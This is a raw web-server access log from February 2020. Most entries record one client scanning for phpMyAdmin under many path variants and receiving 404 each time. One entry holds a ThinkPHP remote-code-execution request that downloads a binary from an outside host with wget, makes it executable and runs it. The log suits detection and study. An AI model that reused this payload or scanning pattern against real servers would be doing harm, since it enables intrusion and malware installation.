85.244.166.12 - - [09/Feb/2020:23:10:57 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:57 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:57 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:57 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:57 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:58 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:58 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:58 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:58 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:58 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
27.205.44.30 - - [09/Feb/2020:23:10:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.244.166.12 - - [09/Feb/2020:23:10:59 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:59 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:59 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:10:59 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:00 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:00 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:00 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:00 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:01 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:01 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:01 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:01 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:02 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:02 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:02 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:02 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:02 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:03 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:03 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:03 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:03 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:03 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:04 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:04 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:04 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:04 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:05 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:05 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:05 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:05 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:06 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:06 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:06 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:06 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:07 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:07 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:07 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:07 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:08 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:08 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:08 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:08 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:08 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:09 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:09 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:09 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:10 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:10 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:10 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:10 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:11 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:11 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:11 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:12 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:12 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:12 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:12 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:13 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:13 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:13 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:13 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:14 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:14 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:14 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:14 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:15 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:15 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:15 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:15 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:16 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:16 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:16 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:24 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:24 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:24 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:25 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:25 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:25 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:25 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:26 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:26 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:26 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:26 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:27 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:27 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:11:27 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:27 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:28 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:28 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:28 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:28 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:29 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
